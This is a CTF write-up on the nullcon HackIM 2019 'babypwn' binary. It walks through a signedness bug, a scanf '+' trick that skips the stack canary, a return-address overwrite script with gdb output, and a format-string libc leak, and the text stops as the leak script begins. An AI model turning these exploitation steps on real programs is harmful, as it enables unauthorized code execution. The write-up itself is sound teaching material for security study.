The nullcon HackIM 2019 CTF (ctftime.org) ran from 01/02/2019, 16:30 UTC to 03/02/2019 04:30 UTC.
I did the pwn challenge babypwn, which was really fun to do. The following article contains my writeup being divided into the following sections:
→ Challenge description
→ Security mechanisms and disassembly
→ Signedness vulnerabilitiy
→ Format string vulnerabilitiy
→ Final exploit
babypwn (495 pts)
Challenge description
As usual the challenge description provides the vulnerable binary as well as the ip/port of the CTF server running it:
Security mechanisms and disassembly
Let’s start by determining which security mechanisms are in place using checksec
:
root@kali:~/Documents/nullcon19/babypwn# checksec challenge
[*] '/root/Documents/nullcon19/babypwn/challenge'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
We have got Full RELRO
, Stack Canaries
and NX enabled
. Nevertheless the binary is not position independent (no PIE
), which means that the address of the binary itself are static.
At next, let’s determine what the binary does analzing the disassembly using radare2
:
root@kali:~/Documents/nullcon19/babypwn# r2 -A challenge
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Type matching analysis for all functions (afta)
[x] Use -AA or aaaa to perform additional experimental analysis.
[0x00400710]> afl
0x00400680 3 26 sym._init
0x004006b0 1 6 sub.free_6b0
0x004006b8 1 6 sub.puts_6b8
0x004006c0 1 6 sub.__stack_chk_fail_6c0
0x004006c8 1 6 sub.setbuf_6c8
0x004006d0 1 6 sub.printf_6d0
0x004006d8 1 6 sub.__libc_start_main_6d8
0x004006e0 1 6 sub.__gmon_start_6e0
0x004006e8 1 6 sub.malloc_6e8
0x004006f0 1 6 sub.perror_6f0
0x004006f8 1 6 sub.__isoc99_scanf_6f8
0x00400700 1 6 sub.exit_700
0x00400710 1 42 entry0
0x00400740 4 50 -> 41 sym.deregister_tm_clones
0x00400780 4 58 -> 55 sym.register_tm_clones
0x004007c0 3 28 sym.__do_global_dtors_aux
0x004007e0 4 38 -> 35 entry1.init
0x00400806 12 462 main
0x004009e0 4 101 sym.__libc_csu_init
0x00400a50 1 2 sym.__libc_csu_fini
0x00400a54 1 9 sym._fini
[0x00400710]> pdf @ main
/ (fcn) main 462
| main (int argc, char **argv, char **envp);
| ; var int local_6ah @ rbp-0x6a
| ; var unsigned int local_69h @ rbp-0x69
| ; var int local_68h @ rbp-0x68
| ; var int local_60h @ rbp-0x60
| ; var int local_10h @ rbp-0x10
| ; var int local_8h @ rbp-0x8
| ; DATA XREF from entry0 (0x40072d)
| 0x00400806 55 push rbp
| 0x00400807 4889e5 mov rbp, rsp
| 0x0040080a 4883ec70 sub rsp, 0x70 ; 'p'
| 0x0040080e 64488b042528. mov rax, qword fs:[0x28] ; [0x28:8]=-1 ; '(' ; 40
| 0x00400817 488945f8 mov qword [local_8h], rax
| 0x0040081b 31c0 xor eax, eax
| 0x0040081d 488b05fc0720. mov rax, qword [obj.stdin__GLIBC_2.2.5] ; [0x601020:8]=0
| 0x00400824 be00000000 mov esi, 0
| 0x00400829 4889c7 mov rdi, rax
| 0x0040082c e897feffff call sub.setbuf_6c8
| 0x00400831 488b05d80720. mov rax, qword [obj.stdout__GLIBC_2.2.5] ; obj.__TMC_END ; [0x601010:8]=0
| 0x00400838 be00000000 mov esi, 0
| 0x0040083d 4889c7 mov rdi, rax
| 0x00400840 e883feffff call sub.setbuf_6c8
| 0x00400845 c6459600 mov byte [local_6ah], 0
| 0x00400849 bf680a4000 mov edi, str.Create_a_tressure_box ; 0x400a68 ; "Create a tressure box?\r"
| 0x0040084e e865feffff call sub.puts_6b8
| 0x00400853 488d45f0 lea rax, qword [local_10h]
| 0x00400857 4889c6 mov rsi, rax
| 0x0040085a bf800a4000 mov edi, 0x400a80
| 0x0040085f b800000000 mov eax, 0
| 0x00400864 e88ffeffff call sub.__isoc99_scanf_6f8
| 0x00400869 0fb645f0 movzx eax, byte [local_10h]
| 0x0040086d 3c79 cmp al, 0x79 ; 'y' ; 121
| ,=< 0x0040086f 741c je 0x40088d
| | 0x00400871 0fb645f0 movzx eax, byte [local_10h]
| | 0x00400875 3c59 cmp al, 0x59 ; 'Y' ; 89
| ,==< 0x00400877 7414 je 0x40088d
| || 0x00400879 bf840a4000 mov edi, str.Bye ; 0x400a84 ; "Bye!\r"
| || 0x0040087e e835feffff call sub.puts_6b8
| || 0x00400883 b800000000 mov eax, 0
| ,===< 0x00400888 e931010000 jmp 0x4009be
| ||| ; CODE XREFS from main (0x40086f, 0x400877)
| |``-> 0x0040088d bf8a0a4000 mov edi, str.name: ; 0x400a8a ; "name: "
| | 0x00400892 b800000000 mov eax, 0
| | 0x00400897 e834feffff call sub.printf_6d0
| | 0x0040089c bf64000000 mov edi, 0x64 ; 'd' ; 100
| | 0x004008a1 e842feffff call sub.malloc_6e8
| | 0x004008a6 48894598 mov qword [local_68h], rax
| | 0x004008aa 488b4598 mov rax, qword [local_68h]
| | 0x004008ae 48b954726573. movabs rcx, 0x6572757373657254 ; 'Tressure'
| | 0x004008b8 488908 mov qword [rax], rcx
| | 0x004008bb c7400820426f. mov dword [rax + 8], 0x786f4220 ; ' Box' ; [0x786f4220:4]=-1
| | 0x004008c2 66c7400c3a20 mov word [rax + 0xc], 0x203a ; ': ' ; [0x203a:2]=0xffff
| | 0x004008c8 c6400e00 mov byte [rax + 0xe], 0
| | 0x004008cc 488b4598 mov rax, qword [local_68h]
| | 0x004008d0 4883c00e add rax, 0xe
| | 0x004008d4 4889c6 mov rsi, rax
| | 0x004008d7 bf910a4000 mov edi, str.50s ; 0x400a91 ; "%50s"
| | 0x004008dc b800000000 mov eax, 0
| | 0x004008e1 e812feffff call sub.__isoc99_scanf_6f8
| | 0x004008e6 488b4598 mov rax, qword [local_68h]
| | 0x004008ea 48c7c1ffffff. mov rcx, -1
| | 0x004008f1 4889c2 mov rdx, rax
| | 0x004008f4 b800000000 mov eax, 0
| | 0x004008f9 4889d7 mov rdi, rdx
| | 0x004008fc f2ae repne scasb al, byte [rdi]
| | 0x004008fe 4889c8 mov rax, rcx
| | 0x00400901 48f7d0 not rax
| | 0x00400904 488d50ff lea rdx, qword [rax - 1]
| | 0x00400908 488b4598 mov rax, qword [local_68h]
| | 0x0040090c 4801d0 add rax, rdx ; '('
| | 0x0040090f 48be20637265. movabs rsi, 0x6465746165726320 ; ' created'
| | 0x00400919 488930 mov qword [rax], rsi
| | 0x0040091c c74008210d0a. mov dword [rax + 8], 0xa0d21 ; [0xa0d21:4]=-1
| | 0x00400923 bf960a4000 mov edi, str.How_many_coins_do_you_have ; 0x400a96 ; "How many coins do you have?\r"
| | 0x00400928 e88bfdffff call sub.puts_6b8
| | 0x0040092d 488d4596 lea rax, qword [local_6ah]
| | 0x00400931 4889c6 mov rsi, rax
| | 0x00400934 bfb30a4000 mov edi, str.hhu ; 0x400ab3 ; "%hhu"
| | 0x00400939 b800000000 mov eax, 0
| | 0x0040093e e8b5fdffff call sub.__isoc99_scanf_6f8
| | 0x00400943 0fb64596 movzx eax, byte [local_6ah]
| | 0x00400947 3c14 cmp al, 0x14 ; 20
| | ,=< 0x00400949 7e14 jle 0x40095f
| | | 0x0040094b bfb80a4000 mov edi, str.Coins_that_many_are_not_supported_: ; 0x400ab8 ; "Coins that many are not supported :/\r\n"
| | | 0x00400950 e89bfdffff call sub.perror_6f0
| | | 0x00400955 bf01000000 mov edi, 1
| | | 0x0040095a e8a1fdffff call sub.exit_700
| | | ; CODE XREF from main (0x400949)
| | `-> 0x0040095f c6459700 mov byte [local_69h], 0
| | ,=< 0x00400963 eb2e jmp 0x400993
| | | ; CODE XREF from main (0x40099a)
| |.--> 0x00400965 0fb65597 movzx edx, byte [local_69h]
| |:| 0x00400969 488d45a0 lea rax, qword [local_60h]
| |:| 0x0040096d 4863d2 movsxd rdx, edx
| |:| 0x00400970 48c1e202 shl rdx, 2
| |:| 0x00400974 4801d0 add rax, rdx ; '('
| |:| 0x00400977 4889c6 mov rsi, rax
| |:| 0x0040097a bfdf0a4000 mov edi, 0x400adf
| |:| 0x0040097f b800000000 mov eax, 0
| |:| 0x00400984 e86ffdffff call sub.__isoc99_scanf_6f8
| |:| 0x00400989 0fb64597 movzx eax, byte [local_69h]
| |:| 0x0040098d 83c001 add eax, 1
| |:| 0x00400990 884597 mov byte [local_69h], al
| |:| ; CODE XREF from main (0x400963)
| |:`-> 0x00400993 0fb64596 movzx eax, byte [local_6ah]
| |: 0x00400997 384597 cmp byte [local_69h], al ; [0x2:1]=255 ; 2
| |`==< 0x0040099a 72c9 jb 0x400965
| | 0x0040099c 488b4598 mov rax, qword [local_68h]
| | 0x004009a0 4889c7 mov rdi, rax
| | 0x004009a3 b800000000 mov eax, 0
| | 0x004009a8 e823fdffff call sub.printf_6d0
| | 0x004009ad 488b4598 mov rax, qword [local_68h]
| | 0x004009b1 4889c7 mov rdi, rax
| | 0x004009b4 e8f7fcffff call sub.free_6b0
| | 0x004009b9 b800000000 mov eax, 0
| | ; CODE XREF from main (0x400888)
| `---> 0x004009be 488b4df8 mov rcx, qword [local_8h]
| 0x004009c2 6448330c2528. xor rcx, qword fs:[0x28]
| ,=< 0x004009cb 7405 je 0x4009d2
| | 0x004009cd e8eefcffff call sub.__stack_chk_fail_6c0
| | ; CODE XREF from main (0x4009cb)
| `-> 0x004009d2 c9 leave
\ 0x004009d3 c3 ret
[0x00400710]>
The only user defined function is the main
function.
At the beginning the buffering for stdin
and stdout
is disabled:
| 0x0040081d 488b05fc0720. mov rax, qword [obj.stdin__GLIBC_2.2.5] ; [0x601020:8]=0
| 0x00400824 be00000000 mov esi, 0
| 0x00400829 4889c7 mov rdi, rax
| 0x0040082c e897feffff call sub.setbuf_6c8
| 0x00400831 488b05d80720. mov rax, qword [obj.stdout__GLIBC_2.2.5] ; obj.__TMC_END ; [0x601010:8]=0
| 0x00400838 be00000000 mov esi, 0
| 0x0040083d 4889c7 mov rdi, rax
| 0x00400840 e883feffff call sub.setbuf_6c8
After this the message "Create a tressure box?\r"
is displayed and scanf
is called to read two characters / one character + null byte ("%2s"
):
| 0x00400849 bf680a4000 mov edi, str.Create_a_tressure_box ; 0x400a68 ; "Create a tressure box?\r"
| 0x0040084e e865feffff call sub.puts_6b8
| 0x00400853 488d45f0 lea rax, qword [local_10h]
| 0x00400857 4889c6 mov rsi, rax
| 0x0040085a bf800a4000 mov edi, 0x400a80
| 0x0040085f b800000000 mov eax, 0
| 0x00400864 e88ffeffff call sub.__isoc99_scanf_6f8
...
[0x00400710]> ps @ 0x400a80
%2s
If the input neither equals y
, nor Y
, the program is quit (jmp 0x4009be
):
| 0x00400869 0fb645f0 movzx eax, byte [local_10h]
| 0x0040086d 3c79 cmp al, 0x79 ; 'y' ; 121
| ,=< 0x0040086f 741c je 0x40088d
| | 0x00400871 0fb645f0 movzx eax, byte [local_10h]
| | 0x00400875 3c59 cmp al, 0x59 ; 'Y' ; 89
| ,==< 0x00400877 7414 je 0x40088d
| || 0x00400879 bf840a4000 mov edi, str.Bye ; 0x400a84 ; "Bye!\r"
| || 0x0040087e e835feffff call sub.puts_6b8
| || 0x00400883 b800000000 mov eax, 0
| ,===< 0x00400888 e931010000 jmp 0x4009be
Otherwise the following instructions are executed, which:
- Print the message
"name: "
. - Allocate 100 (0x64) byte on the heap using
malloc
. - Insert the string
"Tressure Box: "
at the beginning of those 100 byte. - Call
scanf
to read up to 50 bytes after the string ("%50s"
). - Append the string
" created!"
.
| |``-> 0x0040088d bf8a0a4000 mov edi, str.name: ; 0x400a8a ; "name: "
| | 0x00400892 b800000000 mov eax, 0
| | 0x00400897 e834feffff call sub.printf_6d0
| | 0x0040089c bf64000000 mov edi, 0x64 ; 'd' ; 100
| | 0x004008a1 e842feffff call sub.malloc_6e8
| | 0x004008a6 48894598 mov qword [local_68h], rax
| | 0x004008aa 488b4598 mov rax, qword [local_68h]
| | 0x004008ae 48b954726573. movabs rcx, 0x6572757373657254 ; 'Tressure'
| | 0x004008b8 488908 mov qword [rax], rcx
| | 0x004008bb c7400820426f. mov dword [rax + 8], 0x786f4220 ; ' Box' ; [0x786f4220:4]=-1
| | 0x004008c2 66c7400c3a20 mov word [rax + 0xc], 0x203a ; ': ' ; [0x203a:2]=0xffff
| | 0x004008c8 c6400e00 mov byte [rax + 0xe], 0
| | 0x004008cc 488b4598 mov rax, qword [local_68h]
| | 0x004008d0 4883c00e add rax, 0xe
| | 0x004008d4 4889c6 mov rsi, rax
| | 0x004008d7 bf910a4000 mov edi, str.50s ; 0x400a91 ; "%50s"
| | 0x004008dc b800000000 mov eax, 0
| | 0x004008e1 e812feffff call sub.__isoc99_scanf_6f8
| | 0x004008e6 488b4598 mov rax, qword [local_68h]
| | 0x004008ea 48c7c1ffffff. mov rcx, -1
| | 0x004008f1 4889c2 mov rdx, rax
| | 0x004008f4 b800000000 mov eax, 0
| | 0x004008f9 4889d7 mov rdi, rdx
| | 0x004008fc f2ae repne scasb al, byte [rdi]
| | 0x004008fe 4889c8 mov rax, rcx
| | 0x00400901 48f7d0 not rax
| | 0x00400904 488d50ff lea rdx, qword [rax - 1]
| | 0x00400908 488b4598 mov rax, qword [local_68h]
| | 0x0040090c 4801d0 add rax, rdx ; '('
| | 0x0040090f 48be20637265. movabs rsi, 0x6465746165726320 ; ' created'
| | 0x00400919 488930 mov qword [rax], rsi
| | 0x0040091c c74008210d0a. mov dword [rax + 8], 0xa0d21 ; [0xa0d21:4]=-1
At next the message "How many coins do you have?\r"
is printed and an unsigned char ("%hhu"
) is read. If the input is greater than 20 (0x14), the program is quit:
| | 0x00400923 bf960a4000 mov edi, str.How_many_coins_do_you_have ; 0x400a96 ; "How many coins do you have?\r"
| | 0x00400928 e88bfdffff call sub.puts_6b8
| | 0x0040092d 488d4596 lea rax, qword [local_6ah]
| | 0x00400931 4889c6 mov rsi, rax
| | 0x00400934 bfb30a4000 mov edi, str.hhu ; 0x400ab3 ; "%hhu"
| | 0x00400939 b800000000 mov eax, 0
| | 0x0040093e e8b5fdffff call sub.__isoc99_scanf_6f8
| | 0x00400943 0fb64596 movzx eax, byte [local_6ah]
| | 0x00400947 3c14 cmp al, 0x14 ; 20
| | ,=< 0x00400949 7e14 jle 0x40095f
| | | 0x0040094b bfb80a4000 mov edi, str.Coins_that_many_are_not_supported_: ; 0x400ab8 ; "Coins that many are not supported :/\r\n"
| | | 0x00400950 e89bfdffff call sub.perror_6f0
| | | 0x00400955 bf01000000 mov edi, 1
| | | 0x0040095a e8a1fdffff call sub.exit_700
Otherwise the following loop iterates over 0 .. n
(n
being our previous input) reading a signed integer ("%d"
) to [local_60h + i<<2]
on each iteration:
| | `-> 0x0040095f c6459700 mov byte [local_69h], 0
| | ,=< 0x00400963 eb2e jmp 0x400993
| | | ; CODE XREF from main (0x40099a)
| |.--> 0x00400965 0fb65597 movzx edx, byte [local_69h]
| |:| 0x00400969 488d45a0 lea rax, qword [local_60h]
| |:| 0x0040096d 4863d2 movsxd rdx, edx
| |:| 0x00400970 48c1e202 shl rdx, 2
| |:| 0x00400974 4801d0 add rax, rdx ; '('
| |:| 0x00400977 4889c6 mov rsi, rax
| |:| 0x0040097a bfdf0a4000 mov edi, 0x400adf
| |:| 0x0040097f b800000000 mov eax, 0
| |:| 0x00400984 e86ffdffff call sub.__isoc99_scanf_6f8
| |:| 0x00400989 0fb64597 movzx eax, byte [local_69h]
| |:| 0x0040098d 83c001 add eax, 1
| |:| 0x00400990 884597 mov byte [local_69h], al
| |:| ; CODE XREF from main (0x400963)
| |:`-> 0x00400993 0fb64596 movzx eax, byte [local_6ah]
| |: 0x00400997 384597 cmp byte [local_69h], al ; [0x2:1]=255 ; 2
| |`==< 0x0040099a 72c9 jb 0x400965
...
[0x00400710]> ps @ 0x400adf
%d
At the end the string stored at local_68h
("Tressure Box: " ... our input ... " created!"
) is passed to printf
and the formerly allocated 100 byte are deallocated using free
. At the very end we can see the stack canary in place:
| | 0x0040099c 488b4598 mov rax, qword [local_68h]
| | 0x004009a0 4889c7 mov rdi, rax
| | 0x004009a3 b800000000 mov eax, 0
| | 0x004009a8 e823fdffff call sub.printf_6d0
| | 0x004009ad 488b4598 mov rax, qword [local_68h]
| | 0x004009b1 4889c7 mov rdi, rax
| | 0x004009b4 e8f7fcffff call sub.free_6b0
| | 0x004009b9 b800000000 mov eax, 0
| | ; CODE XREF from main (0x400888)
| `---> 0x004009be 488b4df8 mov rcx, qword [local_8h]
| 0x004009c2 6448330c2528. xor rcx, qword fs:[0x28]
| ,=< 0x004009cb 7405 je 0x4009d2
| | 0x004009cd e8eefcffff call sub.__stack_chk_fail_6c0
| | ; CODE XREF from main (0x4009cb)
| `-> 0x004009d2 c9 leave
\ 0x004009d3 c3 ret
A quick exemplary run of the binary:
root@kali:~/Documents/nullcon19/babypwn# ./challenge
Create a tressure box?
y
name: AAAA
How many coins do you have?
2
100
200
Tressure Box: AAAA created!
After determining what the binary does, let’s spot the vulnerabilities.
Signedness vulnerabilitiy
The first one is a signedness vulnerabilitiy, which resides in the following lines of disassembly:
| | 0x00400934 bfb30a4000 mov edi, str.hhu ; 0x400ab3 ; "%hhu"
| | 0x00400939 b800000000 mov eax, 0
| | 0x0040093e e8b5fdffff call sub.__isoc99_scanf_6f8
| | 0x00400943 0fb64596 movzx eax, byte [local_6ah]
| | 0x00400947 3c14 cmp al, 0x14 ; 20
| | ,=< 0x00400949 7e14 jle 0x40095f
These lines read the number of coins we have, which will later be used as the boundary for the loop reading signed integers.
Although the number is read as an unsigned char ("%hhu"
), the comparison made is signed (jle
).
To understand the difference consider the following example program:
root@kali:~/Documents/nullcon19/babypwn/example# cat signed_unsigned.c
#include <stdio.h>
int main() {
char x = -10;
if (x > 20) printf("x too large!\n");
unsigned char y = -10;
if (y > 20) printf("y too large!\n");
return 0;
}
And the related disassembly:
/ (fcn) main 59
| main (int argc, char **argv, char **envp);
| ; var unsigned int local_2h @ rbp-0x2
| ; var signed int local_1h @ rbp-0x1
| ; DATA XREF from entry0 (0x106d)
| 0x00001135 55 push rbp
| 0x00001136 4889e5 mov rbp, rsp
| 0x00001139 4883ec10 sub rsp, 0x10
| 0x0000113d c645fff6 mov byte [local_1h], 0xf6
| 0x00001141 807dff14 cmp byte [local_1h], 0x14 ; [0x14:1]=1
| ,=< 0x00001145 7e0c jle 0x1153
| | 0x00001147 488d3db60e00. lea rdi, qword str.x_too_large ; 0x2004 ; "x too large!" ; const char *s
| | 0x0000114e e8ddfeffff call sym.imp.puts ; int puts(const char *s)
| | ; CODE XREF from main (0x1145)
| `-> 0x00001153 c645fef6 mov byte [local_2h], 0xf6
| 0x00001157 807dfe14 cmp byte [local_2h], 0x14 ; [0x14:1]=1
| ,=< 0x0000115b 760c jbe 0x1169
| | 0x0000115d 488d3dad0e00. lea rdi, qword str.y_too_large ; 0x2011 ; "y too large!" ; const char *s
| | 0x00001164 e8c7feffff call sym.imp.puts ; int puts(const char *s)
| | ; CODE XREF from main (0x115b)
| `-> 0x00001169 b800000000 mov eax, 0
| 0x0000116e c9 leave
\ 0x0000116f c3 ret
For the signed char
the instruction jle
is used, while for the unsigned char
the instruction jbe
is used.
This means that for negative numbers (-10
) the boundary check for the signed char
(x > 20
) is not violated:
root@kali:~/Documents/nullcon19/babypwn/example# gcc signed_unsigned.c -o signed_unsigned
root@kali:~/Documents/nullcon19/babypwn/example# ./signed_unsigned
y too large!
By entering -1
for the number of coins we have, we do not violate the boundary check, but the loop will iterate until i
is smaller than -1 = 0xff = 255
. On each iteration we can input a signed integer (4 byte). Let’s have a look at where we can write to using gdb
:
[-------------------------------------code-------------------------------------]
0x400977 <main+369>: mov rsi,rax
0x40097a <main+372>: mov edi,0x400adf
0x40097f <main+377>: mov eax,0x0
=> 0x400984 <main+382>: call 0x4006f8 <__isoc99_scanf@plt>
0x400989 <main+387>: movzx eax,BYTE PTR [rbp-0x69]
0x40098d <main+391>: add eax,0x1
0x400990 <main+394>: mov BYTE PTR [rbp-0x69],al
0x400993 <main+397>: movzx eax,BYTE PTR [rbp-0x6a]
Guessed arguments:
arg[0]: 0x400adf --> 0x31b010000006425
arg[1]: 0x7fffffffe470 --> 0xc2
arg[2]: 0x0
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe460 --> 0xff000000000000
0008| 0x7fffffffe468 --> 0x602260 ("Tressure Box: AAAA created!\r\n")
0016| 0x7fffffffe470 --> 0xc2
0024| 0x7fffffffe478 --> 0x7fffffffe4a6 --> 0x0
0032| 0x7fffffffe480 --> 0x1
0040| 0x7fffffffe488 --> 0x7ffff7e9fded (<handle_intel+269>: test rax,rax)
0048| 0x7fffffffe490 --> 0x1
0056| 0x7fffffffe498 --> 0x400a2d (<__libc_csu_init+77>: add rbx,0x1)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x0000000000400984 in main ()
The above breakpoint was hit on the first scanf
call within the loop reading a signed integer. This integer will be stored at 0x7fffffffe470
. On the next iteration the integer will be stored at 0x7fffffffe470 + 1<<2 = 0x7fffffffe474
, then at 0x7fffffffe470 + 2<<2 = 0x7fffffffe478
and so forth.
By leveraging the signedness vulnerabilitiy the loop will iterate from 0 .. 254
and we can write beyond the intended memory. What is stored there?
gdb-peda$ telescope 0x7fffffffe470 20
0000| 0x7fffffffe470 --> 0xc2
0008| 0x7fffffffe478 --> 0x7fffffffe4a6 --> 0x0
0016| 0x7fffffffe480 --> 0x1
0024| 0x7fffffffe488 --> 0x7ffff7e9fded (<handle_intel+269>: test rax,rax)
0032| 0x7fffffffe490 --> 0x1
0040| 0x7fffffffe498 --> 0x400a2d (<__libc_csu_init+77>: add rbx,0x1)
0048| 0x7fffffffe4a0 --> 0x7ffff7fe4550 (<_dl_fini>: push rbp)
0056| 0x7fffffffe4a8 --> 0x0
0064| 0x7fffffffe4b0 --> 0x4009e0 (<__libc_csu_init>: push r15)
0072| 0x7fffffffe4b8 --> 0x400710 (<_start>: xor ebp,ebp)
0080| 0x7fffffffe4c0 --> 0x7fffffff0079 --> 0x0
0088| 0x7fffffffe4c8 --> 0x22f2f24de2216300
0096| 0x7fffffffe4d0 --> 0x4009e0 (<__libc_csu_init>: push r15)
0104| 0x7fffffffe4d8 --> 0x7ffff7e2109b (<__libc_start_main+235>: mov edi,eax)
0112| 0x7fffffffe4e0 --> 0x0
0120| 0x7fffffffe4e8 --> 0x7fffffffe5b8 --> 0x7fffffffe7df ("/root/Documents/nullcon19/babypwn/challenge")
0128| 0x7fffffffe4f0 --> 0x100100000
0136| 0x7fffffffe4f8 --> 0x400806 (<main>: push rbp)
0144| 0x7fffffffe500 --> 0x0
0152| 0x7fffffffe508 --> 0x69e3571b4fccc558
Well, the return address of the main
function (0x7ffff7e2109b
) as well as the stack canary (0x22f2f24de2216300
).
Our goal is clearly to overwrite the return address. But if we keep entering signed integers until we overwrite the return address, we will also overwrite the stack canary and our overwritten return address will never be called.
Thus we need a way to skip the first scanf
calls until we reach the scanf
call, which will overwrite the return address.
Just entering something which is not a number (e.g. aaa
) is not going to work since the first scanf
will simply be aborted not removing anything from stdin. Thus the subsequent scanf
calls will also be aborted in the same manner.
In order to analyze the effect of different inputs for scanf("%d")
, I wrote the following little program, which reads two signed integers and outputs the value read as well as the return value of scanf
:
root@kali:~/Documents/nullcon19/babypwn/test# cat scanf.c
#include <stdio.h>
int main() {
int dword = 1337;
int ret = 0;
ret = scanf("%d", &dword);
printf("dword = %d ret = %d\t\t", dword, ret);
ret = scanf("%d", &dword);
printf("dword = %d ret = %d", dword, ret);
return 0;
}
And piped every ASCII character from 0
to 255
to it:
root@kali:~/Documents/nullcon19/babypwn/test# gcc scanf.c -o scanf
root@kali:~/Documents/nullcon19/babypwn/test# for i in `seq 0 255`; do echo $i; python -c "print(chr($i))" | ./scanf; echo ""; done
0
dword = 1337 ret = 0 dword = 1337 ret = 0
1
dword = 1337 ret = 0 dword = 1337 ret = 0
2
dword = 1337 ret = 0 dword = 1337 ret = 0
...
9
dword = 1337 ret = -1 dword = 1337 ret = -1
10
dword = 1337 ret = -1 dword = 1337 ret = -1
...
42
dword = 1337 ret = 0 dword = 1337 ret = 0
43
dword = 1337 ret = 0 dword = 1337 ret = -1
44
dword = 1337 ret = 0 dword = 1337 ret = 0
45
dword = 1337 ret = 0 dword = 1337 ret = -1
46
dword = 1337 ret = 0 dword = 1337 ret = 0
47
dword = 1337 ret = 0 dword = 1337 ret = 0
48
dword = 0 ret = 1 dword = 0 ret = -1
49
dword = 1 ret = 1 dword = 1 ret = -1
50
dword = 2 ret = 1 dword = 2 ret = -1
51
dword = 3 ret = 1 dword = 3 ret = -1
52
dword = 4 ret = 1 dword = 4 ret = -1
53
dword = 5 ret = 1 dword = 5 ret = -1
54
dword = 6 ret = 1 dword = 6 ret = -1
55
dword = 7 ret = 1 dword = 7 ret = -1
56
dword = 8 ret = 1 dword = 8 ret = -1
57
dword = 9 ret = 1 dword = 9 ret = -1
58
dword = 1337 ret = 0 dword = 1337 ret = 0
59
dword = 1337 ret = 0 dword = 1337 ret = 0
...
Notice the different behavior for 43 = 0x2b
("+"
) and 45 = 0x2d
("-"
). The first ret
is 0
meaning that no input was read. Nevertheless the second ret
is -1
, which means that an error occured (EOF
is reached)! Thus "+"
and "-"
are actually read from stdin by scanf
without modifying the value:
root@kali:~/Documents/nullcon19/babypwn/test# ./scanf
+
dword = 1337 ret = 0
10
dword = 10 ret = 1
Taking this into account we only have to determine how much scanf
calls we have to skip until we reach the return address (26
) and can then enter an arbitrary value to overwrite the return address (notice that we write 4 byte at a time and the return address is 8 byte):
root@kali:~/Documents/nullcon19/babypwn# cat expl1.py
#!/usr/bin/env python
print('y')
print('AAAA')
print('-1')
print('+\n'*26)
print(str(0xdeadbeef))
print(str(0xdeadbeef))
print('a')
...
gdb-peda$ r <<< $(./expl1.py)
Starting program: /root/Documents/nullcon19/babypwn/challenge <<< $(./expl1.py)
Create a tressure box?
name: How many coins do you have?
Tressure Box: AAAA created!
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0x0
RDX: 0x0
RSI: 0x1
RDI: 0x5
RBP: 0x4009e0 (<__libc_csu_init>: push r15)
RSP: 0x7fffffffe4d8 --> 0xdeadbeefdeadbeef
RIP: 0x4009d3 (<main+461>: ret)
R8 : 0x5f ('_')
R9 : 0x602260 --> 0x0
R10: 0x0
R11: 0x246
R12: 0x400710 (<_start>: xor ebp,ebp)
R13: 0x7fffffffe5b0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x4009cb <main+453>: je 0x4009d2 <main+460>
0x4009cd <main+455>: call 0x4006c0 <__stack_chk_fail@plt>
0x4009d2 <main+460>: leave
=> 0x4009d3 <main+461>: ret
0x4009d4: nop WORD PTR cs:[rax+rax*1+0x0]
0x4009de: xchg ax,ax
0x4009e0 <__libc_csu_init>: push r15
0x4009e2 <__libc_csu_init+2>: push r14
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe4d8 --> 0xdeadbeefdeadbeef
0008| 0x7fffffffe4e0 --> 0x0
0016| 0x7fffffffe4e8 --> 0x7fffffffe5b8 --> 0x7fffffffe7de ("/root/Documents/nullcon19/babypwn/challenge")
0024| 0x7fffffffe4f0 --> 0x100100000
0032| 0x7fffffffe4f8 --> 0x400806 (<main>: push rbp)
0040| 0x7fffffffe500 --> 0x0
0048| 0x7fffffffe508 --> 0x47a4788e3a2f18b0
0056| 0x7fffffffe510 --> 0x400710 (<_start>: xor ebp,ebp)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000004009d3 in main ()
We successfully control the instruction pointer!
The easiest way to turn this into a shell is to overwrite the return address with the address of a libc one gadget
(for more information on one gadgets
have a look at my article on off-by-one heap exploitation).
Since ASLR
is enabled on the CTF server, we don’t know the base address of the libc. Luckily another vulnerabilitiy within the binary comes in handy here.
Format string vulnerabilitiy
The second vulnerabilitiy is a classical format string vulnerability, which resides in the following lines of disassembly:
| | 0x0040099c 488b4598 mov rax, qword [local_68h]
| | 0x004009a0 4889c7 mov rdi, rax
| | 0x004009a3 b800000000 mov eax, 0
| | 0x004009a8 e823fdffff call sub.printf_6d0
The string stored at local_68h
contains "Tressure Box: " ... our input ... " created!"
. This string is directly passed to printf
as the first parameter, which is the format string to be used. Since we partly control the string, we can enter format specifiers to leak values from registers and the stack:
root@kali:~/Documents/nullcon19/babypwn# ./challenge
Create a tressure box?
y
name: %p.%p.%p.%p
How many coins do you have?
1
1
Tressure Box: 0x1.0x7f6c859f18d0.0x10.0x7fff1ab9b971 created!
We can leverage this vulnerabilitiy to leak libc addresses. Before we can calculate the actual address of a one gadget
we have to determine which libc version is running on the server. This can be done by printing the value of GOT
entries containing the address of libc functions and use the offset of those addresses to lookup the libc version in a libc database.
The functions of the GOT entries we want to leak must have been called beforehand. Otherwise the GOT entries do not yet contain the function address. In this case we simply take puts
and malloc
.
In order to print these two GOT entries, we have to store the addresses of the entries on the stack. This can be done by simply entering the addresses as signed integers values in the loop.
At first we determine the GOT entry addresses:
[0x00400710]> pd 1 @ reloc.puts
;-- reloc.puts:
; CODE XREF from sub.puts_6b8 (0x4006b8)
0x00600fb0 .qword 0x0000000000000000 ; RELOC 64 puts
[0x00400710]> pd 1 @ reloc.malloc
;-- reloc.malloc:
; CODE XREF from sub.malloc_6e8 (0x4006e8)
0x00600fe0 .qword 0x0000000000000000 ; RELOC 64 malloc
Now we store the addresses on the stack and use the format string vulnerabilitiy to print the values of those addresses:
root@kali:~/Documents/nullcon19/babypwn# cat leak.py
